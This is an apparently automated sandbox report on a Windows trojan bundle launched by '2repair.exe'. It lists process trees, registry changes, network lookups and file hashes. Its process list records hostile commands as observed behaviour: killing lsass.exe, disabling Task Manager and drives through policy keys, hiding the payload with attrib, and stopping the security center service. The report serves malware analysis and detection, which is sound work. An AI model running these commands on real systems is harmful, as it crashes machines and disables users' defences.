Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{373FF7F0-EB8B-11CD-8820-08002B2F4F5A}\Implemented Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4} C:\Windows\SysWOW64\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C27CCE37-8596-11D1-B16A-00C0F0283628}\InprocServer32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F051-858B-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E86-DF38-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{F4D83601-895E-11D0-B0A6-000000000000}\ = "IListItems" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.SBarCtrl\CLSID\ = "{6B7E638F-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{E6E17E88-DF38-11CF-8E74-00A0C90F26F8}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A \??\c:\windows\antivirus-platinum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1704 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe C:\Windows\system32\cmd.exe
PID 1704 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe C:\Windows\system32\cmd.exe
PID 1704 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe C:\Windows\system32\cmd.exe
PID 1704 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe C:\Windows\system32\cmd.exe
PID 2420 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2420 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2420 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2420 wrote to memory of 2604 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 2420 wrote to memory of 2604 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 2420 wrote to memory of 2604 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 2420 wrote to memory of 2604 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 2420 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 2420 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 2420 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 2420 wrote to memory of 2660 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2420 wrote to memory of 2660 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2420 wrote to memory of 2660 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2420 wrote to memory of 2660 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2420 wrote to memory of 2660 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2420 wrote to memory of 2660 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2420 wrote to memory of 2660 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2420 wrote to memory of 1588 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2420 wrote to memory of 1588 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2420 wrote to memory of 1588 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2660 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2660 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2660 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2660 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2660 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2660 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2660 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2880 wrote to memory of 1580 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 2880 wrote to memory of 1580 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 2880 wrote to memory of 1580 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 2880 wrote to memory of 1580 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 1580 wrote to memory of 2472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2316 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2316 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2316 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2316 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2316 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2316 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 2316 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1580 wrote to memory of 1556 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\antivirus-platinum.exe
PID 1580 wrote to memory of 1556 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\antivirus-platinum.exe
PID 1580 wrote to memory of 1556 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\antivirus-platinum.exe
PID 1580 wrote to memory of 1556 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\antivirus-platinum.exe
PID 1580 wrote to memory of 2320 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 1580 wrote to memory of 2320 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 1580 wrote to memory of 2320 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 1580 wrote to memory of 2320 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\attrib.exe
PID 2420 wrote to memory of 2304 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 2420 wrote to memory of 2304 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 2420 wrote to memory of 2304 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 2420 wrote to memory of 2304 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 2420 wrote to memory of 1748 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 2420 wrote to memory of 1748 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 2420 wrote to memory of 1748 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

System policy modification

evasion
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1" \??\c:\windows\antivirus-platinum.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "67108863" \??\c:\windows\antivirus-platinum.exe N/A

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\22CC.tmp\22CD.tmp\22CE.bat C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

C:\Windows\system32\timeout.exe

timeout /t 6

C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe

FreeMicrosoft.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe

AntivirusPlatinum.exe

C:\Windows\system32\timeout.exe

timeout /t 2

C:\WINDOWS\302746537.exe

"C:\WINDOWS\302746537.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\3BD8.tmp\302746537.bat" "

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\comctl32.ocx

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\mscomctl.ocx

\??\c:\windows\antivirus-platinum.exe

c:\windows\antivirus-platinum.exe

C:\Windows\SysWOW64\attrib.exe

attrib +h c:\windows\antivirus-platinum.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe

Antivirus.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\system32\taskkill.exe

taskkill /IM lsass.exe /F

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

Badgame.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

Hydra.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe

SGen.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\SysWOW64\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\SFC43F3.tmp.vbs"

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\system32\timeout.exe

timeout /t 10

C:\Windows\SysWOW64\net.exe

net stop wscsvc

C:\Windows\SysWOW64\net.exe

net stop winmgmt /y

C:\Windows\SysWOW64\net.exe

net start winmgmt

C:\Windows\SysWOW64\net.exe

net start wscsvc

C:\Windows\SysWOW64\Wbem\mofcomp.exe

mofcomp C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start wscsvc

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop winmgmt /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop wscsvc

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start winmgmt

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

PCOptimizerProInstaller.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe

VirusCan.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

matrix.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

bomb.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

ChilledWindows.exe

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\70EC.tmp\70ED.tmp\70EE.bat C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\7233.tmp\VirusCan.bat""

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 1652 -s 652

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 frequentwin.com udp
US 8.8.8.8:53 searchdusty.com udp
CA 54.39.157.64:80 searchdusty.com tcp
US 8.8.8.8:53 fastsofgeld.com udp
US 8.8.8.8:53 highway-traffic.com udp

Files

C:\Users\Admin\AppData\Local\Temp\22CC.tmp\22CD.tmp\22CE.bat

MD5 9eed2c0c3293d9424e3edacf3b36615d
SHA1 1d7743263a25661055549dd913ec5c654fa99ffd
SHA256 9780bbabc18e0a4cf00c87ffe12c36804fd1180c7e62ceb3f244820224dd15b2
SHA512 cedcd3b4ea56f4495e5f0baf20795c1296130f65d5512b4a7adabd1cfc46c2af0f94e5678a74b9fc181371d2e34239bc1d833f908e599f7389ee53cd55a8b746

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

MD5 833619a4c9e8c808f092bf477af62618
SHA1 b4a0efa26f790e991cb17542c8e6aeb5030d1ebf
SHA256 92a284981c7ca33f1af45ce61738479fbcbb5a4111f5498e2cb54931c8a36c76
SHA512 4f231fc16339d568b5cf9353133aeae835eb262dab68bc80d92f37b43df64dce4fae0e913cbaa3bb61351a759aeecf9d280bc5779b0853c980559a654d6cca11

C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe

MD5 382430dd7eae8945921b7feab37ed36b
SHA1 c95ddaebe2ae8fbcb361f3bf080d95a7bb5bf128
SHA256 70e5e902d0ac7534838b743c899f484fe10766aefacc6df697219387a8e3d06b
SHA512 26abc02bde77f0b94613edc32e0843ac71a0a8f3d8ba01cb94a42c047d0be7befef52a81984e9a0fa867400082a8905e7a63aaaf85fa32a03d27f7bc6a548c3b

memory/2660-43-0x00000000004D0000-0x00000000004D6000-memory.dmp

C:\Windows\302746537.exe

MD5 8703ff2e53c6fd3bc91294ef9204baca
SHA1 3dbb8f7f5dfe6b235486ab867a2844b1c2143733
SHA256 3028a2b0e95143a4caa9bcd6ae794958e7469a20c6e673da067958cbf4310035
